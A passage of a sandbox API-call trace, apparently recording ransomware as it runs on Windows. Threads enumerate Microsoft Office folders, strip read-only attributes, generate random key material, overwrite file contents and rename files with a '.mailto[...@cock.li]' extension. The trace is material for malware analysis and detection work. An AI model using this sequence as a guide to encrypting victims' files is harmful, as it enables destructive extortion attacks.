	[0082.023] wcscmp (_String1="ucrtbase.dll", _String2="..") returned 1
	[0082.023] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1
	[0082.023] wcscmp (_String1="vccorlib140.dll", _String2=".") returned 1
	[0082.023] wcscmp (_String1="vccorlib140.dll", _String2="..") returned 1
	[0082.023] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0082.023] wcscmp (_String1="vcruntime140.dll", _String2=".") returned 1
	[0082.023] wcscmp (_String1="vcruntime140.dll", _String2="..") returned 1
	[0082.023] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0
	[0082.023] FindClose (in: hFindFile=0x46a7690 | out: hFindFile=0x46a7690) returned 1
	[0082.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47582f8) returned 1
	[0082.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780640) returned 1
	[0082.024] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1

Thread:
	id = 639
	os_tid = 0x1928

	[0077.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17498
	[0077.819] wcscpy (in: _Dest=0x2e17498, _Source="C:\\Program Files\\Microsoft Office\\root\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART"
	[0077.819] wcscat (in: _Dest=0x2e17498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\"
	[0077.819] wcscat (in: _Dest=0x2e17498, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*"
	[0077.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475a4a8
	[0077.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\*", lpFindFileData=0x475a4a8 | out: lpFindFileData=0x475a4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7510
	[0081.986] wcscmp (_String1=".", _String2=".") returned 0
	[0081.986] FindNextFileW (in: hFindFile=0x46a7510, lpFindFileData=0x475a4a8 | out: lpFindFileData=0x475a4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.986] wcscmp (_String1="..", _String2=".") returned 1
	[0081.986] wcscmp (_String1="..", _String2="..") returned 0
	[0081.986] FindNextFileW (in: hFindFile=0x46a7510, lpFindFileData=0x475a4a8 | out: lpFindFileData=0x475a4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0081.986] wcscmp (_String1="PUB60COR", _String2=".") returned 1
	[0081.987] wcscmp (_String1="PUB60COR", _String2="..") returned 1
	[0081.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04e28
	[0081.987] wcscpy (in: _Dest=0x2e04e28, _Source="C:\\Program Files\\Microsoft Office\\root\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART"
	[0081.987] wcscat (in: _Dest=0x2e04e28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\"
	[0081.989] wcscat (in: _Dest=0x2e04e28, _Source="PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR"
	[0091.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc990
	[0091.695] wcscpy (in: _Dest=0x47bc990, _Source="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR"
	[0091.695] wcscat (in: _Dest=0x47bc990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\"
	[0091.695] wcscat (in: _Dest=0x47bc990, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*"
	[0091.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030ca8
	[0091.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b568
	[0091.714] wcscmp (_String1=".", _String2=".") returned 0
	[0091.714] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.718] wcscmp (_String1="..", _String2=".") returned 1
	[0091.718] wcscmp (_String1="..", _String2="..") returned 0
	[0091.718] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x5030ca8 | out: lpFindFileData=0x5030ca8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0091.718] wcscmp (_String1="AG00004_.GIF", _String2=".") returned 1
	[0091.718] wcscmp (_String1="AG00004_.GIF", _String2="..") returned 1
	[0091.718] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e30d90
	[0091.718] wcscpy (in: _Dest=0x4e30d90, _Source="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR"
	[0091.718] wcscat (in: _Dest=0x4e30d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\"
	[0091.718] wcscat (in: _Dest=0x4e30d90, _Source="AG00004_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF"
	[0091.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220
	[0091.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF", dwFileAttributes=0x20) returned 1
	[0091.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1570
	[0091.724] GetFileSizeEx (in: hFile=0x1570, lpFileSize=0x1823f6c8 | out: lpFileSize=0x1823f6c8*=9024) returned 1
	[0091.724] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x233c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.724] ReadFile (in: hFile=0x1570, lpBuffer=0x1823f64c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1823f648, lpOverlapped=0x0 | out: lpBuffer=0x1823f64c*, lpNumberOfBytesRead=0x1823f648*=0x4, lpOverlapped=0x0) returned 1
	[0091.746] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731970
	[0091.746] NtQuerySystemTime (in: CurrentTime=0x1823f628 | out: CurrentTime=0x1823f628*=132251868184784392) returned 0x0
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x3de7aa3c
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xbadfeeb0
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x89066f4f
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xceb88aec
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x120ded3d
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xfcb1fb74
	[0091.746] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x9ff67389
	[0091.747] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xdd21eb48
	[0091.748] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xc56935a0
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xebbf80a1
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xd4092dea
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xda721cb7
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xdaf0dcf2
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x7b52278b
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x926d8783
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xad8267e4
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x9d37ee46
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xc340a1cd
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x72cf8270
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xeffc82a4
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xa8448fab
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x8e9d7d52
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x86f5adcd
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x410de8b3
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x1b455a4d
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x69d1157a
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x3a3a353a
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x672ca495
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x9c1e7370
	[0091.749] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xec228b58
	[0091.750] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0x2c61a2f6
	[0091.750] RtlRandom (in: Seed=0x1823f634 | out: Seed=0x1823f634) returned 0xf6c31ef7
	[0091.758] ReadFile (in: hFile=0x1570, lpBuffer=0x50b1090, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x1823f624, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesRead=0x1823f624*=0x2340, lpOverlapped=0x0) returned 1
	[0091.761] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.761] WriteFile (in: hFile=0x1570, lpBuffer=0x50bd898*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x1823f620, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesWritten=0x1823f620*=0x2340, lpOverlapped=0x0) returned 1
	[0091.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731970
	[0091.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0091.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0091.763] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0091.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d781d0
	[0091.764] SetFilePointerEx (in: hFile=0x1570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.764] WriteFile (in: hFile=0x1570, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1823f688, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x1823f688*=0x109, lpOverlapped=0x0) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d781d0) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0091.768] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11318
	[0091.768] wcscpy (in: _Dest=0x2e11318, _Source="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF"
	[0091.768] wcscat (in: _Dest=0x2e11318, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.768] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1823f640, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.768] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eca8
	[0091.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eca8) returned 1
	[0091.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.769] NtQueryInformationFile (in: FileHandle=0x1570, IoStatusBlock=0x1823f64c, FileInformation=0x1823f624, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1823f64c, FileInformation=0x1823f624) returned 0x0
	[0091.769] NtSetInformationFile (FileHandle=0x1570, IoStatusBlock=0x1823f64c, FileInformation=0x1823f624, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11318) returned 1
	[0091.770] FlushFileBuffers (hFile=0x1570) returned 1
	[0093.275] CloseHandle (hObject=0x1570) 

Thread:
	id = 640
	os_tid = 0x192c

	[0078.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc310
	[0078.156] wcscpy (in: _Dest=0x47bc310, _Source="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16"
	[0078.156] wcscat (in: _Dest=0x47bc310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\"
	[0078.156] wcscat (in: _Dest=0x47bc310, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*"
	[0078.156] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475a710
	[0078.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x475a710 | out: lpFindFileData=0x475a710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a76d0
	[0082.019] wcscmp (_String1=".", _String2=".") returned 0
	[0082.019] FindNextFileW (in: hFindFile=0x46a76d0, lpFindFileData=0x475a710 | out: lpFindFileData=0x475a710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.019] wcscmp (_String1="..", _String2=".") returned 1
	[0082.019] wcscmp (_String1="..", _String2="..") returned 0
	[0082.019] FindNextFileW (in: hFindFile=0x46a76d0, lpFindFileData=0x475a710 | out: lpFindFileData=0x475a710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11161e0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb447d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Facet.thmx", cAlternateFileName="FACET~1.THM")) returned 1
	[0082.019] wcscmp (_String1="Facet.thmx", _String2=".") returned 1
	[0082.019] wcscmp (_String1="Facet.thmx", _String2="..") returned 1
	[0082.019] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31bd0
	[0082.019] wcscpy (in: _Dest=0x4e31bd0, _Source="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16"
	[0082.019] wcscat (in: _Dest=0x4e31bd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\"
	[0082.019] wcscat (in: _Dest=0x4e31bd0, _Source="Facet.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx"
	[0091.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx")) returned 0x220
	[0091.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx", dwFileAttributes=0x20) returned 1
	[0091.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\facet.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1558
	[0091.533] GetFileSizeEx (in: hFile=0x1558, lpFileSize=0x182bfea4 | out: lpFileSize=0x182bfea4*=738429) returned 1
	[0091.533] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0xb4479, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.533] ReadFile (in: hFile=0x1558, lpBuffer=0x182bfe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x182bfe24, lpOverlapped=0x0 | out: lpBuffer=0x182bfe28*, lpNumberOfBytesRead=0x182bfe24*=0x4, lpOverlapped=0x0) returned 1
	[0091.538] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.539] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.539] NtQuerySystemTime (in: CurrentTime=0x182bfe04 | out: CurrentTime=0x182bfe04*=132251868182753073) returned 0x0
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x1db4abdd
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x30aa6e61
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xe283200a
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x9cb1ad7c
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xc668c900
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x4872f0bc
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xb90a7aa0
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x426b56dd
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x8f7e1df7
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x55e7eb
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xe7533d4
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x5a6b559d
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x41633ce0
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xfd58cae5
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xfe3fec83
